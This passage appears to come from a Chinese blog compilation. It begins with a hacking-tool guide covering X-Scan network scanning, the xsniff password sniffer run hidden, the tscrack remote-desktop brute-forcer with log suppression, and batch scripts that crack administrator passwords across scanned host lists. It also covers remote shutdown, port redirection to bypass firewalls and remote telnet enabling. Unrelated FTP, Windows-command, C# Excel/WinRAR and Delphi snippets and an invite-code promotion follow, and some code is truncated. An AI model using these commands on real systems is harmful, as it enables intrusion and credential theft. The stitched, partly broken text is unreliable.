-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测”hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f “tokens=1 delims= ” %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown //IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe //IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet //ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe //IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕”讲述人”
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-**整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

C# 利用WinRAR (加密)压缩及解压缩 相关文件夹及文件

本次示例主要实现:
1.压缩文件夹及其下文件
2.压缩文件夹下文件
3.压缩文件夹及其下文件为rar 还是 zip
4.解压缩
5.加密压缩及解加密压缩
———–
示例代码如下:
protected void Button1_Click(object sender, EventArgs e)
{
string strtxtPath = “C://freezip//free.txt”;
string strzipPath = “C://freezip//free.zip”;
System.Diagnostics.Process Process1 = new System.Diagnostics.Process();
Process1.StartInfo.FileName = “Winrar.exe”;
Process1.StartInfo.CreateNoWindow = true;
//// 1
////压缩c:/freezip/free.txt(即文件夹及其下文件freezip/free.txt)
////到c:/freezip/free.rar
//strzipPath = “C://freezip//free”;//默认压缩方式为 .rar
//Process1.StartInfo.Arguments = ” a -r ” + strzipPath + ” ” + strtxtPath;
//// 2
////压缩c:/freezip/free.txt(即文件夹及其下文件freezip/free.txt)
////到c:/freezip/free.rar
//strzipPath = “C://freezip//free”;//设置压缩方式为 .zip
//Process1.StartInfo.Arguments = ” a -afzip ” + strzipPath + ” ” + strtxtPath;
//// 3
////压缩c:/freezip/free.txt(即文件夹及其下文件freezip/free.txt)
////到c:/freezip/free.zip 直接设定为free.zip
//Process1.StartInfo.Arguments = ” a -r “+strzipPath+” ” + strtxtPath ;
//// 4
////搬迁压缩c:/freezip/free.txt(即文件夹及其下文件freezip/free.txt)
////到c:/freezip/free.rar 压缩后 原文件将不存在
//Process1.StartInfo.Arguments = ” m ” + strzipPath + ” ” + strtxtPath;
//// 5
////压缩c:/freezip/下的free.txt(即文件free.txt)
////到c:/freezip/free.zip 直接设定为free.zip 只有文件 而没有文件夹
//Process1.StartInfo.Arguments = ” a -ep ” + strzipPath + ” ” + strtxtPath;
//// 6
////解压缩c:/freezip/free.rar
////到 c:/freezip/
//strtxtPath = “c://freezip//”;
//Process1.StartInfo.Arguments = ” x ” + strzipPath + ” ” + strtxtPath;
//// 7
////加密压缩c:/freezip/free.txt(即文件夹及其下文件freezip/free.txt)
////到c:/freezip/free.zip 密码为123456 注意参数间不要空格
//Process1.StartInfo.Arguments = ” a -p123456 ” + strzipPath + ” ” + strtxtPath;
//// 8
////解压缩加密的c:/freezip/free.rar
////到 c:/freezip/ 密码为123456 注意参数间不要空格
//strtxtPath = “c://freezip//”;
//Process1.StartInfo.Arguments = ” x -p123456 ” + strzipPath + ” ” + strtxtPath;
//// 9
////-o+ 覆盖 已经存在的文件
//// -o- 不覆盖 已经存在的文件
//strtxtPath = “c://freezip//”;
//Process1.StartInfo.Arguments = ” x -o+ ” + strzipPath + ” ” + strtxtPath;
////10
//// 只从指定的zip中
//// 解压出free1.txt
//// 到指定路径下
//// 压缩包中的其他文件 不予解压
//strtxtPath = “c://freezip//”;
//Process1.StartInfo.Arguments = ” x ” + strzipPath + ” ” +” free1.txt” + ” ” + strtxtPath;

//// 11
//// 通过 -y 对所有询问回应为”是” 以便 即便发生错误 也不弹出WINRAR的窗口
//// -cl 转换文件名为小写字母
//strtxtPath = “c://freezip//”;
//Process1.StartInfo.Arguments = ” t -y -cl ” + strzipPath + ” ” + ” free1.txt”;

Process1.Start();
if (Process1.HasExited)
{
int iExitCode = Process1.ExitCode;
if (iExitCode == 0)
{
Response.Write(iExitCode.ToString() + ” 正常完成”);
}
else
{
Response.Write(iExitCode.ToString() + ” 有错完成”);
}
}
}

够快网盘邀请码无限发放,需要的留下邮箱

今天介绍一个很厉害也很特别的免费网盘,居然支持离线下载的网盘,这个功能真是让人很爽。网盘可以离线下载,在国内尚属首家,值得支持。使用腾讯QQ2010sp3做离线下载测试,居然几秒钟就下载完成了,我的天,真的非常快,不明白为什么不对每一个用户进行离线下载分配一个带宽呢?BT下载暂时没有测试。目前支持http和BT两种方式下载,电驴下载不支持,FTP下载貌似也不支持。如果够快网盘能一直做下去的的话,迅雷的离线下载就受到冲击了。
免费网盘够快网盘功能介绍:
1.云端存储
普通用户注册后有4G存储空间,单文件存大小限制1G。VIP用户20G以上存储空间,单文件没有大小限制。点击“我的信息” 可以看到目前网盘存储情况。
2.文件分享
发布与分享网盘中存储的文件可以以多种方式分享给朋友。可以通过点击“分享”给把文件发送给够快上的某个好友和兴趣组里的群体。
3.离线下载
离线下载能够下载BT文件、http直接地址文件存储到网盘中(支持PT下载)。BT文件可以选择文件包模式或者选择文件下载。文件包模式下栽的文件会存储到文件包类别,如果选择文件则会存储到文件相应的类别目录中。
4.高清播放器推送
高清播放器推送可以将网盘中的视频文件直接推送家里的高清播放器中。需要有支持网络接入功能的高清播放、且支持gokuai网络推送协议。(目前天敏 DMP550以支持该功能,支持功能的固件下载地址)该功能适合白天在公司上班时将离线下载好的片子或者网盘上别人分享的片子通过推送功能发送到家里的高清播放器,那么晚上回家就可以看了,或是给家中不懂得如何下载父母的父母使用。
5.云端转码
云端转码可以将网盘中的视频文件通过云端服务器转码为适合各种移动终端播放的MP4格式,目前支持一般智能手机播放的480*320分辨率的格式,以后还会有支持更合适 iphone4和ipad等高分辨率屏幕使用的格式。转码完成的文件可以在“我的设备”的“手机”菜单中获取
6.同步功能
即将推出敬请期待!
免费网盘地址:http://www.gokuai.com
该免费网盘处于内测阶段,注册需要邀请码,需要的留下邮箱。
够快网盘邀请码无限发放,需要的留下邮箱

C# 读取excel 几种方法的集合 读取excel多sheet

OleDbConnection 读取 Excel 中多sheet 的 名称

string strConn;
strConn = “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/test.xls;”+
“Extended Properties=Excel 8.0;”;
OleDbConnection conn = new OleDbConnection(strConn);
conn.Open();
DataTable sheetNames = conn.GetOleDbSchemaTable
(OleDbSchemaGuid.Tables, new object[] { null, null, null, “TABLE” });
conn.Close();
foreach (DataRow dr in sheetNames.Rows)
{
al.Add(dr[2]);
}

dr[2] sheet 名称 。。。 用于多sheet 操作

段 1 OleDbConnection 读取指定 sheet

using System.Data.OleDb;

static void Main()
{
Application.Run(new Form1());
}

private void Form1_Load(object sender, System.EventArgs e)
{
DataTable myT=ExcelToDataTable(“D:/文件/新武昌站点资料.xls”,”sheet1″);
String mystr=myT.Rows[0][0].ToString();
this.textBox1.Text=mystr;
}

public static DataTable ExcelToDataTable(string strExcelFileName, string strSheetName)
{
//源的定义
string strConn = “Provider=Microsoft.Jet.OLEDB.4.0;” + “Data Source=” + strExcelFileName + “;” + “Extended Properties=’Excel 8.0;HDR=NO;IMEX=1′;”;

//Sql语句
//string strExcel = string.Format(“select * from [{0}$]“, strSheetName); 这是一种方法
string strExcel = “select * from [sheet1$]“;

//定义存放的数据表
DataSet ds = new DataSet();

//连接数据源
OleDbConnection conn = new OleDbConnection(strConn);

conn.Open();

//适配到数据源
OleDbDataAdapter adapter = new OleDbDataAdapter(strExcel, strConn);
adapter.Fill(ds, strSheetName);

conn.Close();

return ds.Tables[strSheetName];
}

很简单的代码,但是问题就出在连接字符串上面,后面一定要加上Extended Properties=’Excel 8.0;HDR=NO;IMEX=1′,HDR和IMEX也一定要配合使用,哈哈,老实说,我也不知道为什么,这样配合的效果最好,这是我艰苦调试的结果.IMEX=1应该是将所有的列全部视为文本,我也有点忘记了.至于HDR本来只是说是否要出现一行标题头而已,但是结果却会导致某些字段值丢失,所以其实我至今也搞不明白为什么,很可能是驱动的问题…

很简单吧?!一切就像操作数据库一样,只是需要注意的是:

1。数据提供程序使用Jet,同时需要指定Extended Properties 关键字设置 Excel 特定的属性,不同版本的Excel对应不同的属性值:

用于 Extended Properties 值的有效 Excel 版本。

对于 Microsoft Excel 8.0 (97)、9.0 (2000) 和 10.0 (2002) 工作簿,请使用 Excel 8.0。

对于 Microsoft Excel 5.0 和 7.0 (95) 工作簿,请使用 Excel 5.0。

对于 Microsoft Excel 4.0 工作簿,请使用 Excel 4.0。

对于 Microsoft Excel 3.0 工作簿,请使用 Excel 3.0。

片段 2

提供两种方法:一个是直接打开excel文件,然后逐行读取,速度较慢;还有一种方法是通过OleDb连接,把excel文件作为数据源来读取
方法一:这种直接读取单元格的方法释放很重要。

Excel.Application excel = null;
Excel.Workbooks wbs = null;
Excel.Workbook wb = null;
Excel.Worksheet ws = null;
Excel.Range range1 = null;
object Nothing = System.Reflection.Missing.Value;

try
{
excel = new Excel.Application();
excel.UserControl = true;
excel.DisplayAlerts = false;

excel.Application.Workbooks.Open(this.FilePath,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing,Nothing ) ;

wbs = excel.Workbooks;
wb = wbs[1];
ws = (Excel.Worksheet)wb.Worksheets["Sheet2"];

int rowCount = ws.UsedRange.Rows.Count;
int colCount = ws.UsedRange.Columns.Count;
if (rowCount <= 0)
throw new InvalidFormatException("文件中没有数据记录");
if (colCount < 4 )
throw new InvalidFormatException("字段个数不对");

for (int i = 0;i {

this.rowNo = i + 1;
object[] row = new object[4];
for (int j = 0;j<4;j++)
{
range1 = ws.get_Range(ws.Cells[i+2,j+1],ws.Cells[i+2,j+1]);
row[j] = range1.Value;

if (row[0] == null)
{
this.isNullRecord++;
break;
}
}

if (this.isNullRecord > 0)
continue;

DataRow dataRow = this.readExcel(row);

if (this.isNullRecord == 1)
continue;

if (this.verifyData(dataRow) == false)
errFlag++;

this.updateTableCurr(dataRow);
}

}
finally
{
if (excel != null)
{
if (wbs != null)
{
if (wb != null)
{
if (ws != null)
{
if (range1 != null)
{
System.Runtime.InteropServices.Marshal.ReleaseComObject(range1);
range1 = null;
}
System.Runtime.InteropServices.Marshal.ReleaseComObject(ws);
ws = null;
}
wb.Close(false,Nothing,Nothing);
System.Runtime.InteropServices.Marshal.ReleaseComObject(wb);
wb = null;
}
wbs.Close();
System.Runtime.InteropServices.Marshal.ReleaseComObject(wbs);
wbs = null;
}
excel.Application.Workbooks.Close();
excel.Quit();
System.Runtime.InteropServices.Marshal.ReleaseComObject(excel);
excel = null;
GC.Collect();
}
}

片段 3

用c#读取excel文件,写到datagridview控件中

用c#读取excel文件,写到datagridview控件中

string strconn = “Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:/MyExcel.xls;Extended Properties=”"Excel 8.0;HDR=Yes;IMEX=1”” ” ;

OleDbConnection conn = new OleDbConnection(strconn);

conn.Open();

if (bo == false)

{

comboBox1.Items.Clear();

DataTable dt = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new object[] { null, null, null, “TABLE” });

foreach (DataRow dr in dt.Rows)

{

comboBox1.Items.Add((String)dr["TABLE_NAME"]);

//MessageBox.Show((String)dr["TABLE_NAME"]);

}

//comboBox1.Text = comboBox1.Items[0].ToString();

}

else

{

string sql = “select * from ” + comboBox1.Text;

OleDbDataAdapter aper = new OleDbDataAdapter(sql, conn);

DataSet myset = new DataSet();

aper.Fill(myset, comboBox1.Text);

dataGridView1.DataSource = myset.Tables[comboBox1.Text];

}

conn.Close();

备注:

@”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:/MyExcel.xls;Extended Properties=”"Excel 8.0;HDR=Yes;IMEX=1″”"

“HDR=Yes;” indicates that the first row contains columnnames, not data

“IMEX=1;” tells the driver to always read “intermixed” data columns as text

TIP! SQL syntax: “SELECT * FROM [sheet1$]” – i.e. worksheet name followed by a “$” and wrapped in “[" "]” brackets.

如果第一行是数据而不是标题的话, 应该写: “HDR=No;”

“IMEX=1;” tells the driver to always read “intermixed” data columns as text

片段 4

C#读取Excel文件数据
相当简单,Excel就像数据库,每个Sheet就是一个Table. Microsoft.Jet.OLEDB驱动.
之后是DataReader循环,或DataSet处理都非常简单.

HTTP://BLOG.CSDN.NET/CRABO/

注意:数据类型的转换!!

#region set connection
string strConn = @”Provider=Microsoft.Jet.OLEDB.4.0;Data Source= “+this.txtPath.Text+”;Extended Properties=Excel 8.0;”;
myDataReader = null;
craboDbConnection = new OleDbConnection(strConn);
OleDbCommand myOleDbCommand = new OleDbCommand(“SELECT * FROM [Sheet1$]“, myOleDbConnection);
#endregion

try
{
myOleDbConnection.Open();
myDataReader = myOleDbCommand.ExecuteReader();
while (myDataReader.Read())
{
this.txtSeq.Text=Convert.ToString(myDataReader.GetValue(0));//列1
this.txtName.Text=Convert.ToString(myDataReader.GetValue(1));//列2
this.txtPIN.Text=Convert.ToString(myDataReader.GetValue(2));//列3
}
}
#region Catch
catch(System.Threading.ThreadAbortException e)
{
System.Threading.Thread.ResetAbort();
this.lblResult.Text = “线程被中断…”+e.Message;
}
catch(Exception ex)
{
System.Windows.Forms.MessageBox.Show(ex.ToString());
}
finally
{
// Always call Close when done reading.
if (myDataReader != null)
myDataReader.Close();

// Close the connection when done with it.
if (craboDbConnection!=null && craboDbConnection.State == ConnectionState.Open)
craboDbConnection.Close();

if(webResponse!=null)
webResponse.Close();
}
#endregion

转自:http://hi.baidu.com/dogslife/blog/item/5eb3310816c733d663d98667.html

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Collections;
using System.Data.OleDb;

namespace xml
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();

}

private void button1_Click(object sender, EventArgs e)
{

}

private void button1_Click_1(object sender, EventArgs e)
{
OpenFileDialog openfile = new OpenFileDialog();
openfile.Filter = “工作薄(*.xls)|*.xls|所有文件(*.*)|*.*”;
if (openfile.FilterIndex == 1 && openfile.ShowDialog() == DialogResult.OK)
ExcelToDS(openfile .FileName );

}
public DataSet ExcelToDS(string path)
{

string strConn = “Provider=Microsoft.Jet.OLEDB.4.0;” + “Data Source=” + @path + “;” + “Extended Properties=Excel 8.0;”;
OleDbConnection conn = new OleDbConnection(strConn);
conn.Open();
string strExcel = “”;
OleDbDataAdapter myCommand = null;
DataSet ds = null;
strExcel = “select * from [sheet1$]“;
myCommand = new OleDbDataAdapter(strExcel, strConn);
DataTable table1 = new DataTable();
ds = new DataSet();
myCommand.Fill(table1);
dataGridView1.DataSource = table1;
return ds;

}

}
}

C# 树状控件TreeView很全面的基本操作用法

一:TreeView.Items[0].Expanded := True; // 展开第一个节点
二:TreeView.Items[0].Item[0].Selected := True; // 移动到第一个节点的第一个子节点
找当前节点的下一个节点,按序号找如下:
if treeview1.Selected.GetNext<>nil then
treeview1.Selected.GetNext.Selected:=true;
TreeView1.SetFocus;

找当前节点的下一个同层兄弟如下:
if treeview1.Selected.getNextSibling<>nil then
treeview1.Selected.getNextSibling.Selected:=true;
TreeView1.SetFocus;
TreeView.Selected.getPrevSibling  //当前选中节点的上一个兄弟节点
TreeView.Selected.Parent          //  当前选中节点的父节点

getfirstchild是跳到该节点子结点中的第一个
getlastchild是跳到该节点子结点中的最后一个

如果你是想跳到同层兄弟结点的第一个
if treeview1.selected.parent<>nil then
treeview1.selected.parent.getfirstchild.selected:=true
else
treeview1.items.item[0].selected:=true;

如果你是想跳到同层兄弟结点的最后一个
if treeview1.selected.parent<>nil then
treeview1.selected.parent.getlastchild.selected:=true
else
treeview1.Items.Item[treeview1.Items.Count-1].Selected:=true;
TreeView的使用方法
基本信息:
TreeView 是一个显示树型结构的控件,每一个节点都是一个新类,
使用具有代表性
每个节点都有四个值:
TEXT:显示文字 Image Index:显示图形序号
Selected Index:
State Index:

(1)建立目录项(本例中使用的TREEVIEW名称为:TvwTips)

增加根目录下的节点:(节点)
var
CatNode : TTreeNode; //先建立一个TREEVIEW使用的子对象
begin
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上
{ 在根标题下建立一个新的子标题 }
CatNode := TvwTips.Items.AddChild(
TvwTips.Items.GetFirstNode,’New Category’ );
CatNode.ImageIndex := 1;
CatNode.SelectedIndex := 2;
CatNode.EditText; { 允许用户改变这个标题 }
end;

增加下一级目录(内容):
var
ParentNode, TipNode : TTreeNode; //先建立TREEVIEW使用
的子对象
VersionNum : Integer;
begin
TvwTips.SetFocus; //将焦点置到这个TREEVIEW控件上
VersionNum := TMenuItem( Sender ).Tag; { Ver num of new tip }
ParentNode := TvwTips.Selected; { 取出当前的选中节点 }
if ParentNode.Level = nlTip then{ Parent cannot be a tip node }
ParentNode := TvwTips.Selected.Parent;

TipNode := TvwTips.Items.AddChildObject( ParentNode,’New
Subject’,Pointer( VersionNum ) );
TipNode.ImageIndex := 3; { Normal tip bitmap }
TipNode.SelectedIndex := 4; { Highlighted tip bitmap }
TipNode.MakeVisible; { Move new tip node into view }
TipNode.EditText; { Immediately allow user to edit subject }
EnableTreeViewFunctions( TipNode.Level );
RtfTip.Clear;
RtfTip.Modified := False;
end;

(2)说明
TvwTips.Items.GetFirstNode 返回TREEVIEW的第一个节点,函数类型为
:TTreeNode
TvwTips.Items.Count 返回当前TreeView的全部节点数,整数
TvwTips.Selected.Level 返回当前选中节点的在目录树中的级别,
根目录为0
TvwTips.Selected.Parent 返回当前选中节点上级节点,函数类型为
:TTreeNode

三、下面这段程序是用TREEVIEW连数据库及一些操作:
unit bmzd;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, Db, DBTables, ImgList, Buttons, ExtCtrls, Grids,
DBGrids;

type
Tfrmbmzd = class(TForm)
Panel1: TPanel;
cmd_new: TBitBtn;
cmd_delete: TBitBtn;
cmd_exit: TBitBtn;
tvwcode: TTreeView;
ScrollBox1: TScrollBox;
GroupBox2: TGroupBox;
Label3: TLabel;
Label2: TLabel;
Label1: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Edit5: TEdit;
ImageList1: TImageList;
Edit1: TEdit;
cmd_save: TBitBtn;
cmd_update: TBitBtn;
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure cmd_newClick(Sender: TObject);
procedure cmd_deleteClick(Sender: TObject);
procedure Edit2KeyPress(Sender: TObject; var Key: Char);
procedure tvwcodeChange(Sender: TObject; Node: TTreeNode);
procedure cmd_updateClick(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure tvwcodeClick(Sender: TObject);
private
